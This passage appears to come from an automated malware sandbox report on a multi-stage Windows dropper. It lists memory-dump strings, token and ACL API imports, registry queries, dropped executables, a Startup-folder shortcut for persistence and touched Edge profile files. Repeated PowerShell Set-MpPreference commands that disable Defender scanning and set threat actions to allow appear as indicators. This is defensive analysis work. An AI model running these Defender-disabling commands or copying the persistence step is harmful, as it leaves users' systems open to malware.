"00000000-00002928.00000001.72251.08C30000.00000004.mdmp")5e:Tbfb,Found string "Set-MpPreference -DisableArchiveScanning $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -DisablePrivacyMode $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -DisableScriptScanning $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -HighThreatDefaultAction 6 -Force" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -LowThreatDefaultAction 6" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -SevereThreatDefaultAction 6" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force" (Indicator: "Set-MpPreference"; Source: "00000000-00002928.00000000.70333.031A0000.00000004.mdmp, 00000000-00002928.00000001.72251.031A0000.00000004.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00002928.00000000.70333.031A0000.00000004.mdmp, 00000000-00002928.00000000.70333.03380000.00000004.mdmp, 00000000-00002928.00000000.70333.04BC0000.00000004.mdmp, 00000000-00002928.00000001.72251.031A0000.00000004.mdmp, 00000000-00002928.00000001.72251.03380000.00000004.mdmp") Found string "HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -HighThreatDefaultAction 6 -Force" (Indicator: "Set-MpPreference"; Source: "00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000000.70348.003E0000.00000004.mdmp, 00000000-00004488.00000000.70348.02710000.00000004.mdmp, 00000000-00004488.00000000.70348.04100000.00000004.mdmp, 00000000-00004488.00000001.72270.003E0000.00000004.mdmp, 00000000-00004488.00000001.72270.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.04100000.00000004.mdmp, 00000000-00004488.00000001.72270.06A80000.00000004.mdmp") Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000000.70348.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.02710000.00000004.mdmp") Found string "HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000001.72270.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.06A80000.00000004.mdmp") Found string "l.exe Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000001.72270.02710000.00000004.mdmp")5f:T1d4f,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 3a9c8dc060b839403dcfc8a72d29defd.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: 3a9c8dc060b839403dcfc8a72d29defd.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 3a9c8dc060b839403dcfc8a72d29defd.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 3a9c8dc060b839403dcfc8a72d29defd.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 3a9c8dc060b839403dcfc8a72d29defd.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Lm3NB63.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Lm3NB63.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Lm3NB63.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Lm3NB63.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Lm3NB63.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Rb3sH52.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Rb3sH52.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Rb3sH52.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Rb3sH52.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Rb3sH52.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 5id6CC5.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 5id6CC5.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 5id6CC5.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 5id6CC5.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 5id6CC5.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 5id6CC5.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 5id6CC5.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 5id6CC5.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 5id6CC5.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 5id6CC5.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 5id6CC5.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 5id6CC5.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 5id6CC5.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 5id6CC5.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 5id6CC5.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 5id6CC5.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 1uT83YZ4.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 1uT83YZ4.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 1uT83YZ4.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 1uT83YZ4.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 1uT83YZ4.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 1uT83YZ4.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 1uT83YZ4.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 1uT83YZ4.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 1uT83YZ4.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 1uT83YZ4.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 1uT83YZ4.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 1uT83YZ4.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 1uT83YZ4.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 1uT83YZ4.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 1uT83YZ4.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 1uT83YZ4.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: cN5Rh86.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: cN5Rh86.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: cN5Rh86.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: cN5Rh86.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: cN5Rh86.exe]60:Tc2d,"3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\LM3NB63.EXE"; Value: "") "Lm3NB63.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\RB3SH52.EXE"; Value: "") "Rb3sH52.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\CN5RH86.EXE"; Value: "") "cN5Rh86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\1UT83YZ4.EXE"; Value: "") "cN5Rh86.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\2CD4503.EXE"; Value: "") "1uT83YZ4.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\SANDBOXFLTR"; Key: "SUPPORTEDFEATURES"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: ""), "2cD4503.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")61:Tbfb,Found string "Set-MpPreference -DisableArchiveScanning $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -DisablePrivacyMode $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -DisableScriptScanning $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -HighThreatDefaultAction 6 -Force" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -LowThreatDefaultAction 6" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -SevereThreatDefaultAction 6" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true" (Indicator: "Set-MpPreference"; File: "powershell.exe") Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force" (Indicator: "Set-MpPreference"; Source: "00000000-00002928.00000000.70333.031A0000.00000004.mdmp, 00000000-00002928.00000001.72251.031A0000.00000004.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00002928.00000000.70333.031A0000.00000004.mdmp, 00000000-00002928.00000000.70333.03380000.00000004.mdmp, 00000000-00002928.00000000.70333.04BC0000.00000004.mdmp, 00000000-00002928.00000001.72251.031A0000.00000004.mdmp, 00000000-00002928.00000001.72251.03380000.00000004.mdmp") Found string "HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -HighThreatDefaultAction 6 -Force" (Indicator: "Set-MpPreference"; Source: "00000000-00002928.00000001.72251.07710000.00000004.mdmp") Found string "Set-MpPreference" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000000.70348.003E0000.00000004.mdmp, 00000000-00004488.00000000.70348.02710000.00000004.mdmp, 00000000-00004488.00000000.70348.04100000.00000004.mdmp, 00000000-00004488.00000001.72270.003E0000.00000004.mdmp, 00000000-00004488.00000001.72270.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.04100000.00000004.mdmp, 00000000-00004488.00000001.72270.06A80000.00000004.mdmp") Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000000.70348.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.02710000.00000004.mdmp") Found string "HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000001.72270.02710000.00000004.mdmp, 00000000-00004488.00000001.72270.06A80000.00000004.mdmp") Found string "l.exe Set-MpPreference -ModerateThreatDefaultAction 6" (Indicator: "Set-MpPreference"; Source: "00000000-00004488.00000001.72270.02710000.00000004.mdmp")62:T62c,"Lm3NB63.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\Lm3NB63.exe]- [targetUID: 00000000-00007404] "Rb3sH52.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\Rb3sH52.exe]- [targetUID: 00000000-00004768] "6dt0iT0.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\6dt0iT0.exe]- [targetUID: 00000000-00007404] "5id6CC5.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\5id6CC5.exe]- [targetUID: 00000000-00005872] "1uT83YZ4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\1uT83YZ4.exe]- [targetUID: 00000000-00007136] "FANBooster131.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\FANBooster131\FANBooster131.exe]- [targetUID: 00000000-00005152] "cN5Rh86.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\cN5Rh86.exe]- [targetUID: 00000000-00004768] "sqlite3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4N197yiTuMlDC\sqlite3.dll]- [targetUID: 00000000-00005152] "4Ut851dI.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4Ut851dI.exe]- [targetUID: 00000000-00004768] "2cD4503.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP003.TMP\2cD4503.exe]- [targetUID: 00000000-00005152]63:Tf6a,Dropped file: "powershell.exe.log" - Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00006792] Dropped file: "FANBooster131.lnk" - Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk]- [targetUID: 00000000-00005152] Dropped file: "data_3" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_3]- [targetUID: 00000000-00005152] Dropped file: "data_2" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_2]- [targetUID: 00000000-00005152] Dropped file: "data_1" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_1]- [targetUID: 00000000-00005152] Dropped file: "load_statistics.db-wal" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal]- [targetUID: 00000000-00005152] Dropped file: "000003.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log]- [targetUID: 00000000-00001616] Dropped file: "f_0004c8" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c8]- [targetUID: 00000000-00007788] Dropped file: "data_1" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1]- [targetUID: 00000000-00005152] Dropped file: "index" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index]- [targetUID: 00000000-00005152] Dropped file: "f_0004c7" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c7]- [targetUID: 00000000-00007788] Dropped file: "History" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\History]- [targetUID: 00000000-00005152] Dropped file: "data_0" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\data_0]- [targetUID: 00000000-00005152] Dropped file: "Visited Links" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Visited Links]- [targetUID: 00000000-00005152] Dropped file: "e248dbf8-8c11-407d-9bba-df30a41e7820.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Ad Blocking\e248dbf8-8c11-407d-9bba-df30a41e7820.tmp]- [targetUID: 00000000-00006748] Dropped file: "Tabs_13349009417793525" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sessions\Tabs_13349009417793525]- [targetUID: 00000000-00006748] Dropped file: "af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp]- [targetUID: 00000000-00006748] Dropped file: "Diagnostic Data-wal" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Diagnostic Data-wal]- [targetUID: 00000000-00005152] Dropped file: "f_0004c3" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_0004c3]- [targetUID: 00000000-00007788] Dropped file: "54c3a489-5e72-4637-9812-5451ec5f154e.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\54c3a489-5e72-4637-9812-5451ec5f154e.tmp]- [targetUID: 00000000-00006748] Dropped file: "da205e83-c96c-4f66-ac3a-b34cbfeeef34.tmp" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\da205e83-c96c-4f66-ac3a-b34cbfeeef34.tmp]- [targetUID: 00000000-00006748] Dropped file: "Network Action Predictor" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network Action Predictor]- [targetUID: 00000000-00005152] Dropped file: "ModuleAnalysisCache" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00006792] Dropped file: "HubApps Icons" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\HubApps Icons]- [targetUID: 00000000-00005152] Dropped file: "000004.log" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log]- [targetUID: 00000000-00005152]64:T402,"3a9c8dc060b839403dcfc8a72d29defd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Lm3NB63.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Rb3sH52.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cN5Rh86.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1uT83YZ4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1uT83YZ4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2cD4503.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "2cD4503.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")65:T4001,"initAft()